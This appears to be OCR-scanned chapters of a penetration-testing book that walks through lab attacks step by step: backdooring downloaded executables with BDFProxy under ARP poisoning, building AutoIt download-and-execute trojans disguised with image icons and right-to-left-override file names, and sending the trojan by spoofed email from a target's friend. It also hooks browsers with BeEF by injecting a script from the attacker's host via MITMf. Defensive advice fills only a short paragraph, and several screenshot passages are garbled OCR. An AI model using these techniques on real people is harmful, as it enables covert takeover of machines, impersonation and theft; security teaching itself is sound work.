Resource writen to bdfproxy msf resource.rc

Configuring traffic forwarding

Starting BDFProxy

Version: v0.3.9

Author: @midnite runr | the[.]midnite).(runr<at>gmail]|.|com

is a file that we can use to listen for incoming connections. First, we
need to ensure the proxy is running on port , and that anything that
comes from port is redirected to . This is done using the following
command:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT -to-port 8080

To perform basic ARP poisoning, we need to run MITMf and use the
basic command, , which should include the , our , and our interface ,
as follows:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 After hitting Enter, a” We need tO dO iS
listen for incoming connections using Backdoor Factory Proxy's
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resource file, using the following command:

msfconsole -r /root/bdfproxy_msf_resource.rc

After hitting Enter, all we have to do is wait for that to load all the
possible payloads that can be used. So, now let's analyze it quickly.
The target person is going to download a program that they actually
want, we are the man-in-the-middle and, because we're doing ARP
poisoning, everything is going to be flowing through our device. We
have Backdoor Factory Proxy running, so whenever an executable is
downloaded, Backdoor Factory Proxy is going to backdoor that
executable on the fly; therefore, when the target person runs it, they
will get the program that they're expecting, but, at the same time, our
backdoor is going to run in the background and we're going to get a
shell because we're listening for ports.

So, we are going to go to our target look for DAP, the same program
that we hijacked, and we are going to download it from their official
website. We are then going to go to their free download, and then
save the file. And, just before we download it, if we look at the
Terminal as shown in the following screenshot, we can see that the
file has been patched in here by the Backdoor Factory Proxy:

Once we have downloaded DAP's update, we will go to Downloads
and run the file. It will look like a normal installer, but if we return to
Meterpreter, we can see that the download has secured a connection
from the target computer that can be interacted with using the , as
shown in the following screenshot:
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msf exploit| ) = sessions -1 1

[¥*] Starting interaction with 1...

meterpreter :
Running the command will confirm that we are inside the Windows

machine, and have full control of it thanks to our backdoor running in
the background.

Protection against delivery methods

In this section, we're going to explore how to protect yourself from
delivery methods. To prevent a man-in-the-middle attack, use tools
such as XArp, or static ARP tables, and avoid networks you don't
know or trust. Another precaution is to ensure you're using HTTPS
when downloading updates. This will reduce your risk of downloading
a fake update. Another tool that is useful is WinMD35. This program
will alert you when a file's signature or checksum has been modified
in any way, which indicates that a file may have been tampered with,
or is not the original file. To check, download and run WinMD5, where
you can compare signatures and checksums for a file. If the values
are the same, the file is safe, as shown in the following screenshot:
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- [ MSEdge - Win10TH2 [Runming]
WindiD5 Free - Windows MDS_ 3 +

(] *
ol L winmd 5 + B & F & 0 =

MET runtime and thay may take a few seconds to start. This is also the reason I wrote the program.
s Supports "Drag & Drop”, You may either select a fle, or drag and dreg a file to the progeam wndow to get the MDS hash valse,
# Supports verfication of original MD5 value snd cument MDS valee,  [— - o — ——
» Most important, it is FREE. Mo spyware ar adware bundie, | &gy WonMID3Free 120 iy x

& Small sire an elfectiee and by bool Tor data securdy, v
B wWinHnsFree

Select & hile to cormpute MDY checksum (o dresg and drep a Bile ente this window)

Download [only 240KB):

Browse .. e

WnMDS Frecware Dovwnlaad

7 WnMDSFree zip MOS: TEREEA0bEDabodab8b03acd 3 24 5ee
s i
WinMDSFree.exe MDS: 94421e8639609ddBadb64casefebo205a File Mame and Sz CyUsers\FlsetDownloadsiwinmo e zip (265376 hytes)
You may smply download i, then unap and put Bhe exe Lo any Tolder on yol  Current file MDS checiksum valus i conbmn any
j vrus. spyware, adWaEaCmaiN e 73£48540bE0abhds fEb0Sad 221 45e=

! License Agreement: 5 : E
Original file MD3 checksum value [optianall. it usually cam be found from website or mdS fi

You are granted unbmited rights to distnbute WinMD5Free, but not kmited &g T e e I B '-':.r'_:',' 1 Variy ot ?f any

commraal package, wied ioa commeraa ervaranmerd, wsed or distrbuted] | profit - generating 1

achivity, even if & is beang distrbuted freely, All fles must remain intact and 4 ]
E

Disclaimer of Warranty Wiebsite About Bt

THIS SOFTWARE AND THE ACCOMPANYING FILES ARE PROVIDED “AS I5” AND WITHOUT WARRANTIES AS TO PFERFORMANCE OR MERCHANTABILITY OR ANY OTHER WARRANTIES
WHFTHER EXPRESSED QR IMPLIED. Because of the varnous hardware and software enaronments sobo o wbach WD SFree moy be put, O WARRANTY OF FITHESS FOR A
PARTICULAR PURPOSE IS OFFERED. in

MO Algonthm |MDS Software for other platforms

(CHopynght WmMDS.com 19992009, AR nghts reserved.

Summary

This chapter focused on client-side attacks. First, we installed a tool
called Veil, which we use to exploit backdoors, through which we can
gain access to a user's system. We then looked at payloads, before
generating our own and testing it against antivirus programs. We also
learned how to create a backdoor Meterpreter that was used to
control a target computer without being detected by antivirus
software. We concluded by looking at delivery methods, as well as
how to protect systems from such attacks.The next chapter we are
going to focus on using the social engineering to launch attacks on
the client
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13

Client-Side Attacks - Social Engineering

This chapter focuses on client-side attacks, where the victim's action
will allow us to gain access to their system, which is where the social
engineering concept is going to be useful to help us to launch an
attack. We are going to look at a tool called Maltego, which is a very
powerful tool for gathering information, but we will just look at it's
basic applications in this chapter. Then, we are going to search all the
possible social links that are related to our target; we will be using the
Maltego tool for this, too. Following that, we are going to target the
victim via their Twitter and email contacts. As we move ahead, we will
be using the backdoor file. Then, we will generate an icon for the file
it looks more like an ordinary image, but it is a backdoor in disguise
so that we can get access to the system. We will also learn how to
change the extensions of the files that can be sent to the target.
Finally, we will perform email spoofing, which means we will send
emails to the victim via a valid email ID.

This chapter covers the following topics:

Client-side attacks using social engineering
Social engineering linking accounts Social
engineering Twitter

Social engineering emails

Social engineering summary

Downloading and executing Autolt

In this section, we will learn how to combine the backdoor that we
created with any other file type, so that when executed, it will display
an image, a PDF, a song, or something that the target person is
interested in. This way, we will be able to social engineer them to run
our backdoor and they will see something that they trust, but our
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backdoor will be running in the background. We're going to do this
using a download and execute script that will basically download the
backdoor, download the file that the person expects, run the files that
the person expects, and run the backdoor in the background. The
download and execute script is included in the resources, which is
available at the book's GitHub repository. After downloading the file,
open the file and we can see the code used inside the script:

The script is programmed so that we can use it to download and
execute anything, and any number of files. So, all we have to do is
enter the links or the URLs for the files in the parameter, and
separate the links by a comma. So we can enter URL, and keep

going. We can use this script to download and execute two
executables, three executables, or any number of files we want. Now,
we are going to put in the file that we want the target person to see.
This file needs to be available online and uploaded on a direct link so
that it can be downloaded from that link. For this example, we are
going to use an image, but we can use any other file types, even get
them to open a PDF, or anything else that we want. Therefore browse
Google Images and look for an image. Click and open the image,
rightclick on the image, and click on Copy image address:

Notice that when we do this, we get the image itself through a direct
URL on the address bar, so we can see that the end of the URL is .
When we access the image, there will be no ads around it; all we can
see is the file itself. The files included in our script all need to have a
direct URL. Paste the URL into the script as follows:

The next file that we wanted to be downloaded and executed is our
backdoor. We are going to insert a comma and then we are going to
put in a direct URL for our backdoor. For our example, that URL is
stored at

. If we just paste that URL, we can access the file and download it
directly. This is very, very important; the script will not work if we don't
use direct URLs. As we can see, the script is very simple, all we have
to do is insert the URL for the first file and then we put in a comma,
which is important again. We have to separate the URLs by a
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comma, and then we put in the URL for the second file. As mentioned
earlier, if we want to download more files, or download more
backdoors or more evil files, all we have to do is insert another
comma and put in the next URL. The parameter should now contain
the following parameters:

Now, all we have to do is compile the script to an executable, and we
are going to learn how to do that in the next section.

Changing the icon and compiling the payload

In the previous section, we worked on our script. In this section, we
are going to learn how to compile it to an executable and how to
change its icon. The script is written in a scripting language called
Autolt. Autolt doesn't come preinstalled in Kali, but it gets installed
when we install Veil. Since we're using a Veil backdoor, there's no
way we could have gotten to this point without having installed Veil.
That's why we are not going to cover how to install Autolt; we can just
download it and run the installer using Wine. So, Autolt should be
already installed for us by now, and all we have to do is rename the
file and change the extension from to . Then, search for the program
in Kali by typing

and we will see that we have the application that will compile Autolt
scripts for us, as shown in the following screenshot:

The first thing it asks us for is the source Autolt script, and that's the
file that we made. So we are going to click on Browse, navigate to
the file, and click on Open. We can also set where it's going to be
stored, but we're just going to keep storing it in Downloads, as
shown in the following screenshot:
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Aut2Exe v3 - Autolt Script to EXE Converter e 0

File Compression  Help

AiD1999-2015 Jonathan Eennett & Aukolk
Team

~Files
Source (Aukalt .au3) IZ:'l,ru:u:ut'l,Du:uwnIu:uau:Is'l,autu:uit-u:IDwnluad-and-execute.aUS Browse i
Destination {.exel.a3x] & exe i a3x
IZ:'l,ru:u:ut'l,Du:uwnIu:uau:Is'l,autu:uit-duwnluad-and-execute.exe Browse |
rOptions
Cuskorn Icon {ico File) I Browse | Drefaulk |
Compile For Syskem I xe4

Converk

Ready
As we can see, we can change the icon and use a custom icon by

uploading a file under Options. To do this, we'll have to first
download an icon that represents our file.

If our file was a PDF file, then just visit the Icon Archive website (

), and search for and download a PDF icon from the site. However, in
our

example, we are trying to use an image as the file that the person
sees. Windows usually

shows a preview of the image; it doesn't really show a specific icon
for images. So we want

to convert the image to an icon, and to do that, we go to the
RealWorld Designer site

( ). Download the image that we want to

make an icon of, upload it to the site by clicking Browse, convert it
from the site, and save it

in the directory. The following are the details required for Online Icon
Creator:
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€) Online Icon Creator

# 1. Pick image to convert

| Browse... | packt-publishing_coupons.png

Allowed formats: jpg, .png, .gif, .bmp [/ Maximum size: 1IMB

/5‘ 2. Choose icon type C) 3. Get your icon

i lcon for Windows XP or older
() Icon for Windows 7 or Vista

| :ﬂ Download

) Fav-icon or toolbar icon :
Save your icon to a folder of your

) i | choice.
Custom sizes 16, 32 |
Learn more about differences between icon types: l.,;-\
Win XP icons e Win7/Vistaicons e fav-icons :’(Z

Now, go back to the compiler and set the options the icon (we are
going to click on Browse), and select the icon that we just

downloaded:
All the options are set. All we have to do is click on Convert, and the

file will be generated:
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Aut2Exe v3 - Autolt Script to EXE Converter

File Compression  Help

AiE1999-2015 Jonathan Bennett & Aukolk Team

hitkp: ffwe , autoitscript, comy autoit3)

~Files Aut2Exe [}
Source {Autolt .aud) |Z:1rDDtIDDwr =l Erowse |
Destination { exe.a3x]  *  axe o Conversion complete.

IZ:'I,ru:u:ut'l,Du:uwr g EXE Etotise |

oK

—opkions
Custom Ioon {ica fils) I2:'l,ru:u:ut'I,DDwnlDads'l,pau:kJ:-puI:uIishing_n:u:uupu:uns.iu:u:u Browse | Default |
Compile Far Syskem [T xea

Abork

Writing destination .exe. .

Click on OK, and close everything. Now we have the executable in :

Name Size
<+ | autoit-download-and-execute.exe 895.0 kB
packt-publishing_coupons.ico 31.3kB
packt-publishing_coupons.png 16.2 kB
@ autoit-download-and-execute.au3 652 bytes

So, when we are sending it to the target, we want to be sending , the
executable, as we can see in the preceding screenshot. Now, copy
the executable into the web server at the directory.

Before downloading the file to the target computer, we want to listen
for incoming connections from Metasploit. We learned how to do that
in , Gaining Access to Computer Devices. For now, we are only going
to run to wait for incoming connections. Now that everything is ready,
go to the Windows machine and download the file. The file is going to
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be available
at . Visit the link and save the file:

q 10.0.2.15/evil-filesfautoit-download-and-execute.exe

Opening autoit-download-and-execute.exe x

You have chosen to open:

[5] autoit-download-and-execute.exe

which is: Binary File (874 KB)
from: hitp://10.0.2.15

Would you like to save this file?

I Save File I Cancel

As we can see in the following screenshot, we have a file that has an
icon, which has a preview of the image, so it's very representative. If
we double-click this file and run it, we see that we get an image that
corresponds to the icon:

* | @ = | Downloads
Home Share View

ra w -’ s This PC » Downloads

v 3 Quick access

B Desktop »*

‘ Downloads . PGC'(T)

E Documents + e

=] Pictures +

.b Music autoit-download-and-ex
Screenshots ecute.exe
Systern32

B Videos

If we go to the Kali machine, we will see that we encountered a
Meterpreter session and, basically, now we've hacked into the target
computer and can do anything that we want to the target. So, just to
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confirm, we are going to run the command and, as we can see in the
following screenshot, now we're inside the target computer, and we
have full access to it:

We managed to do this with a file that has an icon of an image and
actually displayed an image pertaining to the target person. As
mentioned previously, this method can be used to combine our
backdoor with an image, with a PDF, with a song, or anything that the
target person is interested in.

Changing extensions

If we look at the backdoor, or the Trojan that we've generated so far,
all it has is an icon that represents a file that the target person is
interested in. When it's executed, it shows a normal file. And, at the
same time, it's going to execute our code in the background, which
will allow us to hack the target computer, or do whatever we want.
The only problem with this file is that if we look at the end of the file,
we can see that it has a extension. In most cases, the target probably
won't see the extension because Windows is configured to hide it, but
if it's not hiding it, then it's obvious that this file is an executable
because it ends with a extension. In this section, we are going to
focus on how to spoof our Trojan and change it to something that
corresponds to the file. If we're trying to make our backdoor look like
a PDF, we can make it look like it has a extension; if we're trying to
make the file look like an image, we want to make its extension look
like a
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, @, or an extension that represents the image.

In our case, we're trying to make it look like an image, which means it
should have a extension. To do that, we're going to use a right-to-left
override character. We are just

going to copy and paste it into our text editor so that when we are
modifying things, it's

clear to us what we are doing:

Image.exe
.Jpg

Imagegpj .exe

In the preceding screenshot, we can see the new filename that we
want to use, which is , and this is going to have a extension. Now,
instead of , we actually want

to have , but that's not possible because if we do that, the file is not
going to be an

executable. To change the extension, we are going to try to get the
text to be read from right

to left, using a right-to-left override character. Because the text is
going to be read from

right to left, we're going to type after the filename, but we're going to
spell it

from right to left. Again, this is just the extension that we want to use,
but we're spelling it

from right to left, so we're spelling it gpj instead of .

Now, we want to put in a right-to-left character. When we put that
character in the text, anything that comes in after that character will
be read from right to left, so all this is going to be flipped and the
filename is going to be called , and is going to be read from right to
left, so it's going to be . Let's perform it and we'll see what we mean
by reading from right to left. To get that character, we're going to
search for

in Kali and open the program:
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Q, characters] a

Characters

Click on the Search icon
and search for the right-to-left override:

‘ Q : Smileys & People !

- NCN

| Q, right-to-left a ‘

Right-to-left Right-to-left Right-to-left Right-to-left
Mark Embedding Override Isolate
Recently Used

2 Smileys & Feople
%s’ Animals & Nature
Food & Drink

Activities

-
¥

Travel & Places

E

Objects

Symbols

?-""' Flags

A Letters & Symbols >

If we click on it, we will see a button that will allow us to copy that
character:
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Right-to-left Override o

Copy Character

Unicode U4+202E

Click on Copy Character
and that will copy the character for this example. Now, go back to
editor and paste the copied character in front of :

File Edit Search Options Help
Imagelexe. jpg

As seen in the preceding screenshot, if we paste it, everything is
being read from right to left and the filename is going to be called . If
we are using this as a book or as something else, we want to think of
a name that ends with "ex". Anything that ends with "ex" will be a
good name to use. So, we have our name now and we are just going
to copy the new name from the text editor, and then we are going to
rename the backdoor file and we will have a file called , as shown in
the following screenshot: Now, we can send the new file to the target,
but we don't want to send it like this because some recent browsers
are removing the right-to-left override when downloading the file, so
what we are going to do is compress the file to :
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Eﬁ, Imageexe.jpg 895.0 kB

£ Imagejpg.zip 459.0 kB
IIp

This way, when the file is downloaded by the browser, it will not
replace the right-to-left override. Copy the content, paste it into the

folder, and then we're going to download it from the Windows
machine.

Now, we will listen for incoming connections (we have already done
this, so if a refresher is needed, go back to , Gaining Access to
Computer Devices). Go to the Windows machine and download the
file, which is located at : Uncompress the downloaded file and, as we
can see in the following screenshot, the file has a extension. It has an
image icon and, if we double-click it, it will actually show us an image,

but, at the same time, it's going to execute our backdoor in the
background:

&« = ~ 4 ¥ > ThisPC > Downloads >

7 Quick access
¥ Desktop
‘ Downloads
Documents
=] Pictures

J‘l Music

4
=

image.exe Imagejpg.zip Imageexe.jpg

So, if we go to the Kali machine, we will get a session from that
computer, and, just to confirm this, we are going to run . As we can
see in the following screenshot, we are now inside that computer and
we have full control over it:
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We managed to do this using a file that looks and functions exactly
like an image. This method can be used to make the file look like any
other file type, so we don't have to make it look like an image; we can
use this method to make it look like a PDF, a song, a video, or
anything that we want. We can use the download-and-execute
payload to combine the backdoor with any file, and then use this
method to change the file extension to any file extension we want.

Client-side attacks TDM email spoofing

We've seen how we can backdoor any file and make it look like a
document, a song, a program, or an image. Our example was an
image, but we can do it on any file. So, we should be gathering
information using Maltego and then target the person based on the
information gathered. For example, we can pretend to be tech
support and ask the target person to install an update and combine
our backdoor within an executable, or we can just pretend to be a
friend or a colleague and ask the target person to run a certain
document or a PDF; the possibilities are endless. In this example, we
are going to pretend to be a friend and we are going to ask the target
to open a picture of an image, telling them that we are thinking of
buying that car. We are going to use the backdoor that we created in
the Changing extensions section and use an image of a car instead,
and then we are going to contact our target asking them what they
think of this car.

look at the screenshot from the SE summary section where the
information is displayed. By browsing his Twitter, we managed to see
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that our target has a friend called Mohammed, and when we went on
his email, we saw that the same person has an email address of mail.
So, this person came up twice, on the email address and on Twitter,
so our target probably has a good relationship with this person and
there's a high chance that will open something from them. So we can
contact our target on Twitter pretending to be someone who knows
Mohammed, or we can contact them by email. Contacting them by
email has a huge advantage because we can pretend to be
anymail@gmail.com, and we can send an email that would look exactly as
if it came from Mohammed Askar:

So, that's what we're doing. Let's go to Google and search for a
mailer. We can host our own mailers on our own web service or we
can use Google to look for mailers. I've tried a few of them and could
send anonymous emails with the most secure mailer. So we are
going to use ; it asks us to put in our name, since we are pretending
to be Mohammed, so we are going to put it as something, and then it
will ask us for the email, that is, where the email will be coming from,
and we're going to set it as anymail@gmail.com, SO the message we're
going to send will look as if it's coming from this email. We are just
going to use a test email that we set up. We can also set an option for
where the message will go if the person replies to that message. We
are going to leave that empty, set the subject to , and then set an
informal message, because we think that this person is a friend.

Now we can send an attachment with the email, but, most of the time,
attachments don't always get sent successfully, so it's recommend to
upload the backdoor on Dropbox or Google Drive and then send a
link to the target. Always shorten the shared URL to make it look
shorter and more acceptable. We can do that by Googling a link-
shortener, so we're going to use bitly.com, a very famous service. All
we are doing now is social engineering, just making the message
look more acceptable. Copy the shortened link and send it in the
message. And that's it, we are done, so send the message:

The message is just telling us that he is going buy a car, and is
asking us to have a look at it and what we think of it. So we will
probably click on the link. And now the picture has been downloaded,
so if we just open the picture, called , it actually has the icon for the
car, hence the extension is still an extension for an image:
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If the target runs the file, we will have a Windows command shell
where we can do anything we want on the target's system.

Summary

In this chapter, we studied how we can perform client-side attacks
using social engineering. We used social engineering techniques to
again access to the victim's machine by making him actively
participate in actions that help us to gain control over his system. We
studied an important tool, Maltego, which is very powerful and helped
us to collect important information about the target's social life; we
could stalk his all social media accounts. Using this information, we
planned ways whereby we could attack the target. We even learned
how to create customized icons for files to act as backdoors for us to
attack his system.

Employing information from Maltego, we used the email ID of a friend
of the target to send a message that contained a backdoor that would
activate once the victim opened the file. In the next chapter, we will
be studying the BeEF browser tool to attack the target system and
detect Trojans.
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Attack and Detect Trojans with BeEF

In this chapter, we will learn about the BeEF tool and how to hook it
using a man-in-themiddle framework (MITMf). We'll then learn how
to steal a username and password by redirecting the user to a
dummy website where we will capture all their credentials. Then, we
will gain access to the Meterpreter section using BeEF. Lastly, we will
learn how to detect Trojans both manually and with a sandbox.

In this chapter, we will cover the following topics:

The BeEF tool

BeEF hook using a MITMf

BeEF basic commands

BeEF Pretty Theft

BeEF Meterpreter 1

Detecting Trojans manually
Detecting Trojans using a sandbox

The BeEF tool

In this and the coming sections, we're going to have a look at a tool
called BeEF. The Browser Exploitation Framework (BeEF) allows
us to run a number of commands and attacks on a hooked target. A
hooked target is basically a target that executes an URL or a
JavaScript code given to us by BeEF. Once the target is hooked, we'll
be able to run all the commands that BeEF allows us to.

The first thing we're going to have a look at is the main interface of
BeEF, how to run it, and a very simple way to hook a target to BeEF.
To run BeEF, we just have to click on the BeEF icon on the desktop.
It'll automatically run the URL, which contains the browser interface or
the web interface of the tool. It'll ask for a username and a password.
The username is and the password is as well. Once logged in, on the
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left, we'll see the browsers that we have access to, in the Hooked
Browsers pane:

¥ BeEF 04.7.0-alpha | Submil Bug | Legou

Hooked Browstrs Gatting Started Logs

Onling Browsers

- JCM“I\E Browsers

#£3100.215

7 0zs
7% 10025

9 @ 10025

7 W 10028

? #0025

Oifficial websiee: hig:\oeefproject.com!

Getting Started

Welcame in BnEF!

i you avannn rmak.-w‘{ page (for ebugging reasans af caurse). ntag the Tollowing bookmarkiet ink
o your broy ki b, then simpl I]r dlick the shonc on anciher page; Hook Me!

ARSr & DIOWSer ks Rooked Mo th ramewark Mey will appear |n the Hooked Browsers' panel on the
e, Hookied beowsers will appear in cilher an online or ofine Skabe. depending on how recendy ey
have polled the framewark

Hooked Browsers

To indewact with & haoked browses simply lefi-click it a new tab will appear, Each hooked browser il
a3 & number of sub-tabs, described below:

Main: Bisplay infarmation abaul thi: hoaked brosser ifie yousas wn same cammand madules
Logs: Displays recem Im enmies related 1o this pareular hooked browser.

Ciommands: Thes tab is where modules can bi executed against the hooked browser. This s
where most of the BeEF hmcionality nesides. Most command modules consist of Jivascripl code
that I3 secuted AQRINGT e seipcted Hooked Browser, Cammand modules are Abls 1 perom
any actions Mat can be achieved Mrough Javascript for example hey may gather infarmation
aboul the Hooked Browser, manipulake the DOM or perform ather aclivities such as exploiting
wulnerabdiiies within te local neteork of the Hooked Browser,

Each command module has a traffic lght icon. which is used to indicate the following:
The cOmmAnd Momie Works AJAINS1ihe BImet And shaild bz inisible m e user
& The command module works &Jainst he target, but may be visible o the user

The commiand modle i y ello be ﬁleddg it this targel
wd modusde does not wark against this target

Basic Requéster Xsm Inexssﬂa],ls 1ab alizws e user 1o chedk If Iinks, lims and URIpath of the page
ke thwee b ¢ i okl s vl e hle in K55

The Online Browsers are the browsers that we currently have
access to, and the Offline Browsers are the ones that we had
access to. At the moment, we can't run any commands on the
browsers; we had access to these browsers before, but we can't
currently do anything on them.

What interests us is the Online Browsers. There are a number of
methods to get browsers or targets hooked to BeEF. If we just go
back to the Terminal window, we can see that it's telling us the script
URL that has to be executed on the target browser so that they get
hooked to BeEF:

[*1] Hook: =script src="http://<IP=:3000/hook.js’

[*] Example: <script src="http://127.0.0.1:3000,

If we can find or think of a way to get the preceding piece of URL to
be executed on the target computer, then that target will be hooked to
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BeEF, and then we will be able to run all types of commands on that
computer.

We can use methods that we've already learned, we can use DNS-
spoofing to spoof any request to any page or to a page containing the
hook, or we can do ARP poisoning and inject the hook URL into any
page that the target browses. We can use an XSS exploit, which we'll
talk about in , Cross-Site Scripting Vulnerabilities. Or we could create
a page and social engineer our target to open that page, a hook
page. We are going to create a hook page and see how a target will
be hooked. The hook page that we're going to create can be used
with social engineering and DNS-spoofing.

The page that we are going to create is very simple. We can use any
page we want and place the hook URL at the end of the page. We
can go on any website, copy the source of that website, and then
place the hook URL under that. We are going to be doing something
simpler; we are just going to put it into our directory that's where the
web server files are stored. We are going to modify our file, we'll
delete everything, and put in the hook URL that was given to us by
the tool. We also need to modify the IP and put in the IP of the
attacking machine. So the IP of the Kali machine and our IP is :

index.html

File Edit Search Options Help
l<script src="http://10.0.2.15:3000/hook.js"></script>|

Now we're good to go, and any person that browses the page will be
hooked to the BeEF browser, or to the BeEF framework. We also
need to start the web server, Apache. To start it, we run the
command. Now the Apache server should be running. Again, we can
use social engineering or we can use DNSspoofing to get our target
person to browse to the page. We can upload the same page onto a
remote server and get access to it, or we can think of any other way
we want.

At the moment, we are going to just browse to it on our Windows
browser, enter the IP, and hit Enter a blank page should open up:
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Our page doesn't really say anything, but if we go to our BeEF
browser, we will see that we have a new IP in the Online Browsers,
and if we click on that IP, we will see some basic details about the
target computer:

HooKG0 Browsens Gting Statod g Current Brows
o 5 Online Browsins
259100215 Detalis || Logs || Commands || Rider || xssRays || ipec || Network | WebRTC
TR wozs <l Categery: Browser (5 Hems)
@ _j Ciflin Browsers Browser Version: UNKNOWN Witialization
41100218 Browser UA String Mozilla'S.0 (Windows NT L0.0; WInG4; x54; neS1.0) Gecko20L00101 Firefox6 1.0 Inilization
7 % wo2s Browser Language: en-LS Inirdalization
7 B w025 Browser Platform. Wingd Initialization
7 M 10025 Browser Pluging: [| Iniglization
T W 0025 Window Size: Width: 1280, Helght 806 nialization
7 M 10028 o Category: Browser Components (12 tem &)
Flazh: Mo Iniinlizatan
VB Eaript: No Initialization
PhoneGap: No Initialization
Googhe Gears: No Iniilizaton
Wb Sockets. Yios Initialization
QuickTime: No Initialization
RealPlayer: No il zaton
‘Windows Media Player: No Iniiplizaton
WebRTC. Yes Initialization
ActiveX: No mitilizaton
Sassion Cookies: Yo Inilplizaton
Persistent Gookies. Yis Initilization
=l Category: Hooked Page (5 fems)
Page Titke: Unknown nitialization
Page URL hapf10.0.2.15° Initialization
Page Reterrer; Lnknown nialization
Hust Name/iP; 10.0.2.15 Initiulization
Cookies: BEEFHOOK-QZkDpgPwhyixqnlUiuCtER|EpNnivMoqFBMMELyPGRiq kR ZWnd BAZKWAB U hpbHE R X kuptqgU Initialization
= Category: Host (8 hems)
Host MamefP: 10.0.2.5 Initialization
Basic requester Dake; Mon Jul 23 2008 04:08:41 GMTOT00 (Pacine Daybght Time) mftalizaton

We can see that the target is using Mozilla/5.0 with Windows NT
10.0, it's Firefox/61.0. We can also see the installed Browser
Plugins. These are very useful if we want to run bufferoverflow
exploits on the target computer. We can also see the Page URL that
we managed to get the hook from, and we can see the Cookies
information at the bottom, as well and details about the date and the
Window Size.
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The Commands tab is the one we'll use the most. The following
screenshot shows a large number of commands and attacks on the
target computer we'll be dealing with this later:

Details Logs Commands

Module Tree
Search
1 Browser (53)
» |_]Chrome Extensions (6)
1Debug (9)
» || Exploits (78)
- |_JHost (22)
JIPEC ()
- |_|Metasploit (1)
Misc (16)
I Metwork (19)
- _|Persistence (5)
1Phonegap (16)
15ocial Engineering (21)
The Rider tab will allow us to see and create
HTTP requests:

Details Logs Commands Rider Xs3Ray3 Ipec Network WebRTC
History || Forge Request || Proxy
Proto * Domain Bort Method Fath Hes.. Heslext Port Status  Processed ReqDate »  Res Date

The XssRays tab will show us whether the target web page has any
XSS vulnerabilities:

Details Logs Commands Rider || XssRays Ipec MNetwork || WebRTC
Logs Scan Config
Vector Method Vector Mame Vector PoC

No History

The Ipec tab is a BeEF Command Prompt, which will allow us to run
BeEF commands from the Command Prompt instead of using the
interface:
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Details Logs Commands Rider AssRays Ipec MNetwork WebRTC

Prompt

Terminal

Network tab will give us an overview of the current network:
Details Logs Commands Rider XssRays Ipec Network || WebRTC

Map Hosts Senvices

Hooked érﬂwser

\

!

12?.0.0.018\\@

127.0.0.1 [localhosti]
Windows

Once we're done with everything, we can click on the Logout link and

we will be logged out of the tool.
This is just a basic overview of BeEF, the main commands and the
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interface, and a really basic way of hooking a target. Again, we can
get people to run the hook page by using social engineering, such as
a URL-shortening service to make the link shorter and look nicer, or
we can do DNS-spoofing and get the target person to redirect to our
own web page where the BeEF framework is working.

BeEF hook using a MITMf

Another method to hook targets to BeEF is to inject the JavaScript
that BeEF gives us using MITMf. So, if the target and attacker are in
the same network, and if we can become the man-in-the-middle (or if
we manage to the become the man-in-the-middle because we had a
fake access point or because we are physically connected to the
target computer, regardless of the way that we became the man-in-
the-middle), we can inject the hook code into the browser, into the
pages (HTTP pages) that the target person browses, and they'll be
hooked to BeEF without clicking on anything, and without our having
to send them anything. We're going to use the exact same link in the
page that we used before, which is

, or the script. We are going to copy it and then we'll paste it into our
plugin with MITMf. The command is going to be , and then we're
going to use the and options, and we're going to give it the URL of the
hook. The command is as follows:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 --inject
-js-url http://10.0.2.15:3000/hook.js

It's the same command that we always use, . We're doing ARP-
spoofing, we're giving the gateway , the target , the interface , and
we're using the plugin, and a option, a URL for a JavaScript, the URL
where the hook is

stored, in our example its placed at . After launching the command,
browse the web normally, or just go to the BBC website. Now, if we
go back to our BeEF, we can see that we have a target, and that
target is a Windows device: The code has been automatically injected
into the BBC website, so the user didn't have to visit anything or click
a URL. The code will be injected into any web page they visit and
they'll get hooked. The user will get hooked as soon as they go to any
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website. If we go to the page source, and look at the bottom, we will
see that we have the hook script at the bottom of the page source
that's why it's been executed:

<soript sro="http://10.0.2.15:3000/hook. 5" type="text/javascript"></script></bodyy> </ html>

That's the reason why we could actually put the script under any
page. If we are making fake pages, we can just copy the source of
any page and put the script at the bottom. Then, it will be executed on
the target page and we will be able to hook our target to the browser.

BeEF basic commands

Now that we have our browser or target hooked, we can go to the
Commands tab and start executing commands on the target:

We can use the Search option to look for a certain command, or we
can use the categories and look for commands suitable for what we
want to perform on the target computer. Some of the commands are
information-gathering commands, some of them are social
engineering, some of them will even give us full control over the
target computer. There are a lot of commands, so we won't be able to
go over all of them, but we will be looking at some of the most
important commands so we know how to experiment and run them.

If we click on the Browser (53) option, we will see commands related
to attacks that we can do inside the browser:

We can see attacks that will allow us to get a screenshot, we can try
to turn on the webcam and see whether it works, and open the
webcam on the target. If we click on Exploits (78), we will see a
number of exploits that we can run:
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4 | Exploits (78]
_1BeEF_hind (3)
- |1 Camera (3)
» | Local Host (7)
[LINAS (2}
- |_| Router (30)
- |1 Switch (1)
_1XS5 (4)

Apache Cookie Disclosure
Apache Felix Remote Shell (Reverse Shell)
ColdFusion Directory Traversal Exploit
HP uCMDB 9.0x add user CSRF
Jboss 6.0.0M1 IMX Deploy Exploit
Jenkins Code Exec C5RF
Kemp LoadBalancer Command Execution
RFl Scanner
Shell Shock
Shell Shock Scanner (Reverse Shell)
Skykpe iPhone X55 Steal Contacts
WTiger CRM Upload Exploit
WAN Emulator Command Execution
Zenoss 3.x Add User CSRF
Zenoss 3.x Command Execution
mOndwall Reverse Root Shell CSRF
pfSense Reverse Root Shell CSRF
Foous <= 1.1.1 Add User CSRF
ExTRAnet Collaboration Tool (extra-ct) Command Execution
GlassFish WAR Upload X5RF
GroovyShell Server Command Execution
Opencart Reset Password CSRF

All we have to do is click on the module that we want to run and click
on the Execute button:
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Module Tree Module Results History Apache Cookic Disclosure

Search l... date label Descripion:  This module exploits CVE-2012-0053 in order to read the victim's cookies, even if issued with
the HItPONIY Atmnite. The xpInitonly Works it e [Nt SeVer IS mnning Apache HI TP
Tl 1 Server 2.2.0 tnough 2.2.21.

# | Exploits (78) A

_JBeEF_tund (3)

_JCamera (3)

__JLocal Host(7)

CINAS 2)

() Router (30)

~JSwitch (1)

XSS ()
Apache Cookic Disclosure
Apache Fellx Remote Shell
ColdFusion Directory Trave
HP uCMDE 9.0x add user C
Jboss 6.0.0M1 JMX Deploy
Jenkins Code Exec CSRF
Kemp LoadBalancer Comm
RF Scanner
Shell Shock

. Shell Shock Scanner (Reve!
Skykpe iPhone XS5 Steal C
